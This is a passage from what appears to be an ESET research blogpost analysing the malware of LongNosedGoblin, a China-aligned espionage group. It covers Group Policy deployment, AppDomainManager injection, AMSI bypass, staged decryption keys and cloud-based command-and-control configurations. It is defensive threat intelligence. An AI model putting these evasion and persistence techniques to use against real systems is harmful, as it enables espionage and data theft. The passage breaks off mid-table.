{"id":9101,"date":"2025-12-18T12:00:00","date_gmt":"2025-12-18T10:00:00","guid":{"rendered":"https:\/\/blog.eset.ee\/et\/?p=9101"},"modified":"2026-06-14T20:11:11","modified_gmt":"2026-06-14T17:11:11","slug":"longnosedgoblin-tries-to-sniff-out-governmental-affairs-in-southeast-asia-and-japan","status":"publish","type":"post","link":"https:\/\/blog.eset.ee\/et\/en\/2025\/12\/18\/longnosedgoblin-tries-to-sniff-out-governmental-affairs-in-southeast-asia-and-japan\/","title":{"rendered":"LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Japan"},"content":{"rendered":"<p>In 2024, ESET researchers noticed previously undocumented malware in the network of a Southeast Asian governmental entity. This led us to uncover even more new malware on the same system, none of which had substantial ties to any previously tracked threat actors. Based on our findings, we decided to attribute the malicious tools to a new China-aligned APT group that we have named LongNosedGoblin.<\/p>\n<p>The group employs a varied custom toolset consisting mainly of C#\/.NET applications, and, notably, uses Group Policy to deploy its malware and move laterally across the systems of targeted entities. This blogpost details our discovery of LongNosedGoblin, goes over its known campaigns, and dives into the toolset of the group.<\/p>\n<blockquote>\n<div><strong>Key points of the report:<\/strong><\/div>\n<ul>\n<li>LongNosedGoblin is a newly discovered China-aligned APT group targeting governmental entities in Southeast Asia and Japan, with the goal of cyberespionage.<\/li>\n<li>The group has been active since at least September 2023.<\/li>\n<li>LongNosedGoblin uses Group Policy to deploy malware across the compromised network, and cloud services (e.g., Microsoft OneDrive and Google Drive) as command and control (C&amp;C) servers.<\/li>\n<li>One of the group\u2019s tools, NosyHistorian, is used to gather browser history and decide where to deploy further malware, such as the NosyDoor backdoor.<\/li>\n<li>NosyDoor is most likely being shared by multiple China-aligned threat actors.<\/li>\n<li>We provide a detailed analysis of NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger, and other tools used by LongNosedGoblin.<\/li>\n<\/ul>\n<\/blockquote>\n<h2>Smells like trouble: Introducing LongNosedGoblin<\/h2>\n<p>LongNosedGoblin is a China-aligned APT group that targets governmental entities in Southeast Asia and Japan, with the goal of conducting cyberespionage. As we already mentioned: in its campaigns, LongNosedGoblin abuses <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-server\/identity\/ad-ds\/manage\/group-policy\/group-policy-overview\">Group Policy<\/a> \u2013 a mechanism for managing settings and permissions on Windows machines, typically used with Active Directory \u2013 to deploy malware and move laterally across the compromised network.<\/p>\n<p>One of the main tools in its arsenal is NosyHistorian, a C#\/.NET application that the group uses to collect browser history, which is then used to determine where to deploy further malware. This includes another major LongNosedGoblin tool, a backdoor that we named NosyDoor, which, in campaigns we observed, used Microsoft OneDrive as its C&amp;C server. NosyDoor also employs living-off-the-land techniques in its execution chain, namely <a href=\"https:\/\/attack.mitre.org\/techniques\/T1574\/014\/\">AppDomainManager injection<\/a>. Finally, several of the group\u2019s tools can bypass the <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/amsi\/antimalware-scan-interface-portal\">Antimalware Scan Interface<\/a> (AMSI), which enables antimalware products to scan various scripts before execution.<\/p>\n<h3>Discovery<\/h3>\n<p>In February 2024, we found unknown malware on a system of a governmental entity in Southeast Asia. The malware was used to drop a custom backdoor, which we later named NosyDoor. At the same time, we noticed that the compromise involved not just one, but multiple machines from the same entity, with the malware having been deployed via Group Policy.<\/p>\n<p>Additional analysis revealed that the same victims were also afflicted with a different malicious tool distributed via Group Policy, this one used for collecting browser history. We named the tool NosyHistorian. While we found many victims affected by NosyHistorian in the course of our original investigation between January and March 2024, only a small subset of them were compromised by NosyDoor. Some samples of NosyDoor\u2019s dropper even contained execution guardrails to limit operation to specific victims\u2019 machines.<\/p>\n<p>Later, we identified even more unknown malware on the victims\u2019 machines: NosyStealer, which exfiltrates browser data; NosyDownloader, which downloads and runs a payload in memory; NosyLogger, a keylogger; other tools like a reverse SOCKS5 proxy; and an argument runner (a tool that runs an application passed as an argument) that was used to run a video recorder, likely <a href=\"https:\/\/ffmpeg.org\/\">FFmpeg<\/a>, to capture audio and video. The downloader was first recorded in our telemetry as far back as September 2023.<\/p>\n<h3>Attribution<\/h3>\n<p>Due to the unique toolset, alongside the use of Group Policy for lateral movement, we decided to attribute the attacks to a new China-aligned APT group, and named it LongNosedGoblin. We noticed some overlap in the file paths mentioned in a <a href=\"https:\/\/securelist.com\/toddycat-traffic-tunneling-data-extraction-tools\/112443\/\">Kaspersky blogpost about ToddyCat activity<\/a>, an APT group with similar <a href=\"https:\/\/securelist.com\/toddycat\/106799\/\">targeting<\/a>, but the malware in that report lacks code similarity with the malware considered here.<\/p>\n<p>It should also be noted that in June 2025, the Russian cybersecurity company Solar published a <a href=\"https:\/\/web.archive.org\/web\/20250803114940\/https:\/rt-solar.ru\/solar-4rays\/blog\/5603\/\">blogpost<\/a> on an APT group it refers to as Erudite Mogwai, which used a payload that closely resembles LongNosedGoblin\u2019s NosyDoor. According to the authors, Erudite Mogwai targeted the IT infrastructure of a Russian government organization and Russian IT companies, using the LuckyStrike Agent backdoor in its operations.<\/p>\n<p>However, we cannot confirm that Erudite Mogwai and LongNosedGoblin are one and the same, as there is a definite difference in TTPs between the two groups. Notably, the Erudite Mogwai research does not mention the abuse of Active Directory Group Policy for malware deployment \u2013 a technique that is quite specific to LongNosedGoblin\u2019s operations.<\/p>\n<p>We later identified another instance of a NosyDoor variant targeting an organization in an EU country, once again employing different TTPs, and using the Yandex Disk cloud service as a C&amp;C server. The use of this NosyDoor variant suggests that the malware may be shared among multiple China-aligned threat groups. This is further corroborated by Solar\u2019s observation of the word <span>Paid<\/span> in the PDB path of NosyDoor, suggesting that the malware may be commercially provided as a service \u2013 potentially indicating it is being sold or licensed to other threat actors.<\/p>\n<h3>Later campaigns<\/h3>\n<p>Throughout 2024, LongNosedGoblin was actively deploying NosyDownloader in Southeast Asia. In December of the same year, we detected an updated version of NosyHistorian in Japan, but then observed no subsequent activity.<\/p>\n<p>In September 2025, we began seeing renewed activity of the group in Southeast Asia. As in previous campaigns, the threat actor leveraged Group Policy to deliver NosyHistorian to targeted machines.<\/p>\n<p>During this wave of attacks, we noticed behavior consistent with <a href=\"https:\/\/attack.mitre.org\/software\/S0154\/\">Cobalt Strike<\/a> usage: a loader named <span>oci.dll<\/span> was downloaded on a single machine, with a payload named <span>ocapi.edb<\/span> loaded from disk. LongNosedGoblin then subsequently deployed the potential Cobalt Strike loader to selected machines via Group Policy.<\/p>\n<p>Additionally, we saw that another similar component, <span>mscorsvc.dll<\/span>, was downloaded, with its payload stored in <span>conf.ini<\/span>. This loader was then deployed to victims\u2019 machines using Group Policy, employing the same delivery mechanism as <span>oci.dll<\/span>.<\/p>\n<h2>Nosing around: LongNosedGoblin\u2019s toolset<\/h2>\n<h3>NosyHistorian<\/h3>\n<p>NosyHistorian is a C#\/.NET application with a self-explanatory internal name <span>GetBrowserHistory<\/span>, as it, indeed, collects browser history. In the observed campaigns, the attackers used this tool to gain insight about the machines in the compromised infrastructure. Based on this information, they picked a small subset of specific victims to compromise further with their NosyDoor backdoor.<\/p>\n<p>We saw the tool being deployed via Group Policy under the filename <span>History.ini<\/span>, disguising the file as an INI file. In reality, this is a portable executable (PE) file, with the goal most likely being to blend in with other INI files <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-r2-and-2012\/dn789188(v=ws.11)#ini-files-extension\">commonly<\/a> stored in the Group Policy cache directory.<\/p>\n<p>NosyHistorian iterates over all users on the machine and retrieves the browser history from Google Chrome, Microsoft Edge, and Mozilla Firefox. Each history database file is copied to a temporary directory and then uploaded to a specific hardcoded SMB share within the local network of the compromised organization. NosyHistorian\u2019s filename for each web browser\u2019s history file is listed in Table 1, where <span>&lt;profile_name&gt;<\/span> corresponds to web browser profiles.<\/p>\n<p><em>Table 1. Crafted history filenames by NosyHistorian<\/em><\/p>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"642\">\n<thead>\n<tr>\n<td width=\"132\"><strong>Web browser<\/strong><\/td>\n<td width=\"511\"><strong>Filename<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"132\">Google Chrome<\/td>\n<td width=\"511\"><span>&lt;username&gt;_&lt;machine_name&gt;_&lt;profile_name&gt;_History<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Microsoft Edge<\/td>\n<td width=\"511\"><span>&lt;username&gt;_&lt;machine_name&gt;_edge_History<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Mozilla Firefox<\/td>\n<td width=\"511\"><span>&lt;username&gt;_&lt;machine_name&gt;_firefox_&lt;profile_name&gt;_places.sqlite<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Both this tool and NosyDoor have similar PDB paths and were compiled from the <span>E:Csharp<\/span> directory, with the NosyHistorian PDB path being: <span>E:CsharpSharpMiscGetBrowserHistoryobjDebugGetBrowserHistory.pdb<\/span>.<\/p>\n<h3>NosyDoor<\/h3>\n<p>As stated previously, the NosyDoor backdoor uses cloud services, such as Microsoft OneDrive, for its C&amp;C server. The malware has a fairly straightforward, three-stage chain of execution, depicted in Figure 1. The first stage is a dropper that deploys the second stage, which involves a living-off-the-land attack using the <a href=\"https:\/\/attack.mitre.org\/techniques\/T1574\/014\/\">AppDomainManager injection technique<\/a>, which is in turn used to execute the final payload, the backdoor itself.<\/p>\n<p>NosyDoor collects metadata about the victim\u2019s machine, including the machine name, username, the OS version, and the name of the current process, and sends it all to the C&amp;C. It then retrieves and parses task files with commands from the C&amp;C. The commands allow it to exfiltrate files, delete files, and execute shell commands, among other things.<\/p>\n<figure><img decoding=\"async\" alt=\"Figure 1. NosyDoor execution chain 1\" height=\"\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/12-25\/longnosedgoblin\/figure-1-1.png\" title=\"Figure 1. NosyDoor execution chain\" width=\"\"><figcaption><em>Figure 1. NosyDoor execution chain<\/em><\/figcaption><\/figure>\n<h4>NosyDoor Stage 1 \u2013 dropper<\/h4>\n<p>The malware\u2019s first stage is a dropper, specifically a C#\/.NET application with the internal name <span>OneClickOperation<\/span>. Same as NosyHistorian, it is deployed via Group Policy. We have seen the dropper masquerade as a <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/windows\/desktop\/policy\/registry-policy-file-format\">Registry Policy file<\/a> by using the filename <span>Registry.pol<\/span>, although we also observed <span>Registry.plo<\/span>, which is uncommon (it could be a typo, or maybe the threat actors did not want the filename to conflict with another malicious file).<\/p>\n<p>The dropper base64 decodes embedded files and decrypts them via Data Encryption Standard (DES) with both key and initialization vector set to <span>UevAppMo<\/span> (the first eight bytes of the string <span>UevAppMonitor<\/span>), then drops them to <span>C:WindowsMicrosoft.NETFramework<\/span> with the following filenames:<\/p>\n<ul>\n<li><span>SharedReg.dll<\/span><\/li>\n<li><span>log.cached<\/span><\/li>\n<li><span>netfxsbs9.hkf<\/span><\/li>\n<li><span>UevAppMonitor.exe.config<\/span><\/li>\n<\/ul>\n<p>These filenames have been chosen deliberately to blend in with existing files, since the directory normally contains files named <span>SharedReg12.dll<\/span> and <span>netfxsbs12.hkf<\/span>.<\/p>\n<p>In its final steps, the dropper creates and starts a Windows scheduled task with the name <span>OneDrive Reporting Task-S-1-5-21-&lt;GUID&gt;<\/span> under the Microsoft task folder, where <span>&lt;GUID&gt;<\/span> is a random GUID string. The scheduled task is responsible for executing the legitimate <span>UevAppMonitor.exe<\/span> in the <span>C:WindowsMicrosoft.NETFramework<\/span> directory during system startup. The dropper copies the legitimate file from <span>C:WindowsSystem32<\/span> to the new location.<\/p>\n<p>The newer samples also include an execution guardrail that makes the dropper function only on victims\u2019 computers with a specific machine name (see Figure 2).<\/p>\n<figure><img decoding=\"async\" alt=\"Figure 2. Dropper code\" height=\"\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/12-25\/longnosedgoblin\/figure-2.png\" title=\"Figure 2. Dropper code with execution guardrails\" width=\"\"><figcaption><em>Figure 2. Dropper code with execution guardrails<\/em><\/figcaption><\/figure>\n<h4>NosyDoor Stage 2 \u2013 AppDomainManager injection<a><\/a><\/h4>\n<p><span>UevAppMonitor.exe<\/span> is a legitimate C#\/.NET application, which the malware copied from the <span>C:WindowsSystem32<\/span> to the <span>C:WindowsMicrosoft.NETFramework<\/span> directory and used as a living-off-the-land binary, or <a href=\"https:\/\/lolbas-project.github.io\/\">LOLBin<\/a>. Living-off-the-land attacks abuse legitimate tools already present on the system. In this case, the application is used to trigger <a href=\"https:\/\/web.archive.org\/web\/20250330053546\/https:\/www.rapid7.com\/blog\/post\/2023\/05\/05\/appdomain-manager-injection-new-techniques-for-red-teams\/\">AppDomainManager injection<\/a> via a configuration file. This technique can make applications built in the .NET framework load malicious code instead of the intended legitimate code by making use of the AppDomainManager class.<\/p>\n<p>When the application is executed, it loads the configuration file shown in Figure 3, which makes the application call the <span>InitializeNewDomain<\/span> method of the custom <span>SharedReg<\/span> class in <span>SharedReg.dll<\/span>. The configuration also sets the <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/framework\/configure-apps\/file-schema\/runtime\/etwenable-element\">&lt;etwEnable&gt; element\u2019s<\/a><br \/>\n<span>enabled<\/span> attribute to <span>false<\/span> so that event tracing for Windows is disabled.<\/p>\n<figure><img decoding=\"async\" alt=\"Figure 3. Content of UevAppMonitor.exe.config with specified AppDomainManager\" height=\"\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/12-25\/longnosedgoblin\/figure-3.png\" title=\"Figure 3. Content of UevAppMonitor.exe.config with specified AppDomainManager\" width=\"\"><figcaption><em>Figure 3. Content of <\/em><span>UevAppMonitor.exe<\/span><em>.config with specified AppDomainManager<\/em><\/figcaption><\/figure>\n<p><span>SharedReg.dll<\/span> contains code to bypass <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/amsi\/antimalware-scan-interface-portal\">AMSI<\/a>, from an open-source AV\/EDR evasion framework called <a href=\"https:\/\/github.com\/klezVirus\/inceptor\">inceptor<\/a>. Other than that, it base64 decodes the file <span>netfxsbs9.hkf<\/span>, decrypts the result via AES with key <span>UevAppMonitor<\/span>, padded with null bytes until its length is 16, initialization vector <span>0<\/span>, and eventually base64 decodes the result again. The result is NosyDoor, which is then executed. Any errors are written to the file <span>error.txt<\/span> in the <span>C:WindowsMicrosoft.NETFramework<\/span> directory.<\/p>\n<h4>NosyDoor Stage 3 \u2013 payload<\/h4>\n<p>NosyDoor\u2019s third stage, the main payload, is a C#\/.NET backdoor with the internal name OneDrive and with PDB path <span>E:CsharpThomasServerThomasOneDriveobjReleaseOneDrive.pdb<\/span>. As this name suggests, the backdoor uses cloud services, in this case Microsoft OneDrive, as a C&amp;C server.<\/p>\n<p>The full list of metadata the backdoor collects consists of the following:<\/p>\n<ul>\n<li>external IPv4 address,<\/li>\n<li>local IPv4 address,<\/li>\n<li>agent ID,<\/li>\n<li>username,<\/li>\n<li>machine name,<\/li>\n<li>current directory,<\/li>\n<li>current process (name, ID, architecture),<\/li>\n<li>stage 3 local start time,<\/li>\n<li>current local time,<\/li>\n<li>OS version,<\/li>\n<li><span>CodeType<\/span> (see Table 3), and<\/li>\n<li><span>AgentType<\/span> (see Table 3).<\/li>\n<\/ul>\n<p>All collected metadata is encrypted via RSA and then uploaded to OneDrive as the file <span>Read_&lt;agent_id&gt;.max<\/span>. Once NosyDoor sends the metadata, it looks for commands from the C&amp;C in task files with <span>.max<\/span> extensions in the following directory:<\/p>\n<p><span>&lt;FolderName&gt;-&lt;ListenerID&gt;\/&lt;agent_id&gt;\/&lt;Payload.TaskFolderName&gt;<\/span><\/p>\n<p>Each task file contains an encrypted command, which is encapsulated with values taken from the backdoor\u2019s configuration:<\/p>\n<p><span>&lt;Payload.Prepend&gt;&lt;Payload.PayloadPrepend&gt;<span>&lt;encrypted_command&gt;<\/span><span>&lt;Payload.PayloadAppend&gt;&lt;Payload.Append&gt;<\/span><\/span><\/p>\n<p>The command is then decoded with base64 and decrypted via AES with key <span>&lt;Payload.Key&gt;<\/span> and initialization vector <span>0<\/span>. All commands are described in Table 2. Although the command <span>CMD_TYPE_TASKSCHEDULER<\/span> is mentioned in the code, it is not implemented in any of the observed samples.<\/p>\n<p><em>Table 2. Commands supported by NosyDoor<\/em><\/p>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"642\">\n<thead>\n<tr>\n<td width=\"198\"><strong>Command<\/strong><\/td>\n<td width=\"444\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_SHELL<\/span><\/td>\n<td width=\"444\">Execute a shell command.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_EXEC_ASM<\/span><\/td>\n<td width=\"444\">Load a .NET assembly.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_EXIT<\/span><\/td>\n<td width=\"444\">Quit NosyDoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_REMOVE<\/span><\/td>\n<td width=\"444\">Delete a file and list its original directory.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_DOWNLOAD<\/span><\/td>\n<td width=\"444\">Exfiltrate a file. Note that download and upload commands are here named in terms of the attacker\u2019s perspective, treating the C&amp;C machine as the local machine and the victim machine as the remote one.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_UPLOAD<\/span><\/td>\n<td width=\"444\">Upload a file to the victim\u2019s machine, delete it from OneDrive, and list the directory where the file was uploaded.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_DRIVES<\/span><\/td>\n<td width=\"444\">Get names and sizes of logical drives present on the machine.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_FILE_BROWSE<\/span><\/td>\n<td width=\"444\">Obtain a directory listing, including file icons.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_SLEEP<\/span><\/td>\n<td width=\"444\">Set the beaconing interval.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_TASKSCHEDULER<\/span><\/td>\n<td width=\"444\">Not implemented.<\/td>\n<\/tr>\n<tr>\n<td width=\"198\"><span>CMD_TYPE_Plugin<\/span><\/td>\n<td width=\"444\">Load a .NET assembly, directly calling the method <span>Plugin.Run<\/span>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>After executing the command, NosyDoor performs the reverse steps \u2013 encrypts command output using AES, encodes with base64, and encapsulates with the strings <span>&lt;Payload.Prepend&gt;&lt;Payload.PayloadPrepend&gt;<\/span> and <span>&lt;Payload.PayloadAppend&gt;&lt;Payload.Append&gt;<\/span>. Each result is stored on the C&amp;C server in a file with a filename specifying local time (Unix timestamp multiplied by 100,000) and ending with the <span>.max<\/span> extension:<\/p>\n<p><span>&lt;FolderName&gt;-&lt;ListenerID&gt;\/&lt;agent_id&gt;\/&lt;Payload.ReceiveFolderName&gt;\/&lt;unix_timestamp&gt;.max<\/span><\/p>\n<p>If an exception occurs during NosyDoor\u2019s operation, the backdoor writes the exception message together with the local time to <span>C:UsersPublicLibrariesthomas.log<\/span>.<\/p>\n<p>The backdoor contains a custom dependency named <span>Library<\/span> that is embedded as a resource by using <a href=\"https:\/\/github.com\/Fody\/Costura\">Costura<\/a>. It mainly contains code related to command processing, Microsoft OneDrive communication, and various helper methods, while the main binary handles the beaconing loop and reads a config file, utilizing the library.<\/p>\n<p>The configuration is stored in the file <span>log.cached<\/span> in encrypted form. NosyDoor decrypts it via XOR with key <span>SecretKey<\/span>, base64 decodes it, then decrypts it via AES with key <span>Thomas<\/span>, filled with null bytes until its length is 16, and IV <span>0<\/span>. This configuration can be seen in Figure 4.<\/p>\n<pre><code>{ \"ListenerID\": 3, \"FolderName\": \"Duis euismod, mi, ligula, mattis feugiat, pulvinar.\", \"AppID\": \"[redacted]\", \"RefreshToken\": \"[redacted]\", \"BaseUrl\": \"https:\/\/graph.microsoft.com\/v1.0\/drive\", \"TokenUrl\": \"https:\/\/login.microsoftonline.com\/common\/oauth2\/v2.0\/token\", \"CodeType\": \".NET40\", \"AgentType\": \"OneDrive\", \"Scope\": \"offline_access files.readwrite\", \"Sleep\": 66, \"BeginDate\": \"08:51:00\", \"EndDate\": \"18:51:00\", \"Payload\": { \"Key\": \"583oq23aonxloet7\", \"MetaDataName\": null, \"TaskFolderName\": \"Risus blandit mattis\", \"ReceiveFolderName\": \"Felis posuere at\", \"Prepend\": \"&lt;!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Strict\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-strict.dtd\"&gt; &lt;html xmlns=\"http : \/\/www.w3.org\/1999\/xhtml\"&gt; &lt;head&gt; &lt;meta http-equiv=\"Content-Type\" content=\"text\/html; charset=iso-8859-1\" \/&gt; &lt;title&gt;IIS Windows Server&lt;\/title&gt; &lt;style type=\"text\/css\"&gt; &lt;!-- body { color:#000000; background-color:#0072C6; margin:0; } #container { margin-left:auto; margin-right:auto; text-align:center; } a img { border:\", \"Append\": \"; } --&gt; &lt;\/style&gt; &lt;\/head&gt; &lt;body&gt; &lt;div id=\"container\"&gt; &lt;a href=\"http:\/\/go.microsoft.com\/fwlink\/?linkid=66138u0026amp;clcid=0x409\"&gt;&lt;img src=\"iisstart.png\" alt=\"IIS\" width=\"960\" height=\"600\" \/&gt;&lt;\/a&gt; &lt;\/div&gt; &lt;\/body&gt; &lt;\/html&gt;\", \"PayloadPrepend\": \"Fames\", \"PayloadAppend\": \"Ipsum\" } }<\/code><\/pre>\n<p><em>Figure 4. Decrypted configuration (<\/em><span>log.cached<\/span><em>, beautified)<\/em><\/p>\n<p>The configuration values <span>&lt;BeginDate&gt;<\/span> and <span>&lt;EndDate&gt;<\/span> specify the local time range when NosyDoor operates. In this case, NosyDoor is active only between 8:51 am and 6:51 pm. Once authenticated, though, NosyDoor will process commands that are still pending in a queue and send response files regardless of what time it is.<\/p>\n<h3>NosyStealer<\/h3>\n<p>NosyStealer is used to steal browser data from Microsoft Edge and Google Chrome. As illustrated in Figure 5, it has a four-stage chain of execution, with the stealer component being the final-stage payload.<\/p>\n<figure><img decoding=\"async\" alt=\"Figure 5. NosyStealer execution chain )2)\" height=\"\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/12-25\/longnosedgoblin\/figure-5-1.png\" title=\"Figure 5. NosyStealer execution chain\" width=\"\"><figcaption><em>Figure 5. NosyStealer execution chain<\/em><\/figcaption><\/figure>\n<h4>NosyStealer Stage 1 \u2013 DLL loader<\/h4>\n<p>The first stage (<span>pmp.exe<\/span>) in the NosyStealer chain is a C\/C++ application. The observed sample simply loads a library named <span>SERV.dll<\/span> from disk and calls the exported function <span>Hello<\/span>.<\/p>\n<h4>NosyStealer Stage 2 \u2013 injector<a><\/a><\/h4>\n<p>We observed two NosyStealer Stage 2 samples \u2013 one (<span>SERV.dll<\/span>) in our telemetry, and the other (<span>msi.dll<\/span>) uploaded to <a href=\"https:\/\/www.virustotal.com\/gui\/file\/5959d4414cc6764212679eec7c9ed5911eed6d24f310bc7b9ba570e11b84be8f\">VirusTotal<\/a> from Malaysia. Neither has the exported function <span>Hello<\/span> but both have the main code in <span>DllMain<\/span>, i.e., the malicious code is run right after the DLL is loaded. They have the following exports:<\/p>\n<ul>\n<li><span>??0Cv2dllnoinject@@QEAA@XZ<\/span><\/li>\n<li><span>??4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z<\/span><\/li>\n<li><span>??4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z<\/span><\/li>\n<li><span>?fnv2dllnoinject@@YAHXZ<\/span><\/li>\n<li><span>?nv2dllnoinject@@3HA<\/span><\/li>\n<\/ul>\n<p>The next-stage data is loaded from the hardcoded path <span>C:ProgramDataMicrosoftWDFMDE.dat<\/span>. It is decrypted via a single-byte XOR cipher with key <span>0x7A<\/span>. The result is <a href=\"https:\/\/github.com\/TheWover\/donut\">Donut<\/a> shellcode that is injected into the running <span>pmp.exe<\/span> process (NosyStealer Stage 1) using the <span>CreateRemoteThread<\/span> API in the <span>SERV.dll<\/span> case, and into a newly created <span>notepad.exe<\/span> process using the <span>SetThreadContext<\/span> API in the <span>msi.dll<\/span> case.<\/p>\n<h4>NosyStealer Stage 3 \u2013 loader<a><\/a><\/h4>\n<p>As mentioned in the <em><a href=\"#NosyStealer%20Stage%202%20%E2%80%93%20injector\">NosyStealer Stage 2 \u2013 injector<\/a><br \/>\n<\/em>section, this stage is shellcode containing an embedded PE file that is decrypted, loaded, and executed in memory using Donut\u2019s reflective loader. The extracted binary is a C\/C++ application.<\/p>\n<p>Like <em><a href=\"#NosyDoor%20Stage%202%20%E2%80%93%20AppDomainManager%20injection\">NosyDoor Stage 2 \u2013 AppDomainManager injection<\/a><\/em>, this stage uses a known technique to bypass AMSI. It patches the <span>AmsiScanBuffer<\/span> function in the loaded <span>amsi.dll<\/span> with code that returns <span>E_INVALIDARG<\/span> (see Figure 6).<\/p>\n<figure><img decoding=\"async\" alt=\"Figure 6. Hex-Rays decompiled code that patches AmsiScanBuffer\" height=\"\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/12-25\/longnosedgoblin\/figure-6.png\" title=\"Figure 6. Hex-Rays decompiled code that patches AmsiScanBuffer\" width=\"\"><figcaption><em>Figure 6. Hex-Rays decompiled code that patches <\/em><span>AmsiScanBuffer<\/span><\/figcaption><\/figure>\n<p>Then it creates a Windows scheduled task with the name Daily Check Task that runs <span>C:ProgramDataMicrosoftWDFpmp.exe<\/span> (NosyStealer Stage 1) every day with permissions of the local system account.<\/p>\n<p>After patching the AMSI function and persisting, it continues similarly to the previous stage \u2013 it decrypts the next stage from the hardcoded path <span>C:ProgramDataMicrosoftWDFmfd.dat<\/span> via a single-byte XOR cipher with key <span>0x7A<\/span>, where the resulting blob is another Donut shellcode, which is then executed.<\/p>\n<h4>NosyStealer Stage 4 \u2013 payload<\/h4>\n<p>Again, like <em><a href=\"#NosyStealer%20Stage%203%20%E2%80%93%20loader\">NosyStealer Stage 3 \u2013 loader<\/a>,<\/em> this stage is shellcode that decrypts, loads, and executes an embedded PE file in memory using Donut\u2019s reflective loader. This time, the extracted binary is a Go application that steals browser data from the Microsoft Edge and Google Chrome web browsers. To do so, it downloads a file named <span>config<\/span> from Google Docs. When the file contains a victim\u2019s ID, NosyStealer reads Microsoft Edge and Google Chrome profile data, archives it with tar, and encrypts it with a custom cipher.<\/p>\n<p>NosyStealer then exfiltrates the encrypted tar archive to Google Drive. Figure 7 is an example of the JSON-formatted configuration, embedded in the binary, required to access Google Drive and Google Docs.<\/p>\n<pre><code>{ \"type\": \"service_account\", \"project_id\": \"dev0-411506\", \"private_key_id\": \"[redacted]\", \"private_key\": \"[redacted]\", \"client_email\": \"dev0-660@dev0-411506.iam.gserviceaccount.com\", \"client_id\": \"[redacted]\", \"auth_uri\": \"https:\/\/accounts.google.com\/o\/oauth2\/auth\", \"token_uri\": \"https:\/\/oauth2.googleapis.com\/token\", \"auth_provider_x509_cert_url\": \"https:\/\/www.googleapis.com\/oauth2\/v1\/certs\", \"client_x509_cert_url\": \"https:\/\/www.googleapis.com\/robot\/v1\/metadata\/x509\/dev0-660%40dev0-411506.iam.gserviceaccount.com\", \"universe_domain\": \"googleapis.com\" }<\/code><\/pre>\n<p><em>Figure 7. NosyStealer configuration<\/em><\/p>\n<p>NosyStealer also records errors and status messages to a Google Docs file named <span>log<\/span>, which may include information from more than one victim. The status message includes the constant <span>9<\/span>, possibly an indication of the NosyStealer version. The full status message format, where <span>&lt;machine_local_ips&gt;<\/span> represents a list of local IPv4 addresses of network adapters, is as follows:<\/p>\n<p><span>&lt;local_date&gt; &#8211; &lt;victim_id&gt; &#8211; 9 &#8211; heartbeat &lt;machine_local_ips&gt;<\/span><\/p>\n<h3>NosyDownloader<\/h3>\n<p>Analyzing ESET telemetry data, we also found in the networks compromised by LongNosedGoblin various originally benign applications that had been patched with malicious code. This code contains a downloader that we named NosyDownloader, which executes a chain of obfuscated commands passed to a spawned PowerShell process as one long command line argument, meaning that the script is not stored on disk. Every subsequent stage is encoded with base64, where the last one is additionally deflated with gzip.<\/p>\n<p>Each stage is briefly described in Table 3. Like NosyDoor Stage 2 and NosyStealer Stage 3, the second stage here also bypasses AMSI. In this case, NosyDownloader uses Matt Graeber\u2019s reflection method and disabling script logging techniques made available on GitHub to bypass AMSI.<\/p>\n<p><em>Table 3. NosyDownloader script stages<\/em><\/p>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"642\">\n<thead>\n<tr>\n<td width=\"66\"><strong>Stage<\/strong><\/td>\n<td width=\"577\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"66\">1<\/td>\n<td width=\"577\">Decodes and executes Stage 2 in a newly created PowerShell process that runs in a hidden window.<\/td>\n<\/tr>\n<tr>\n<td width=\"66\">2<\/td>\n<td width=\"577\">Bypasses AMSI, then decodes and executes Stage 3.<\/td>\n<\/tr>\n<tr>\n<td width=\"66\">3<\/td>\n<td width=\"577\">Decodes, decompresses, and executes Stage 4.<\/td>\n<\/tr>\n<tr>\n<td width=\"66\">4<\/td>\n<td width=\"577\">Downloads a payload and executes it in memory with <a 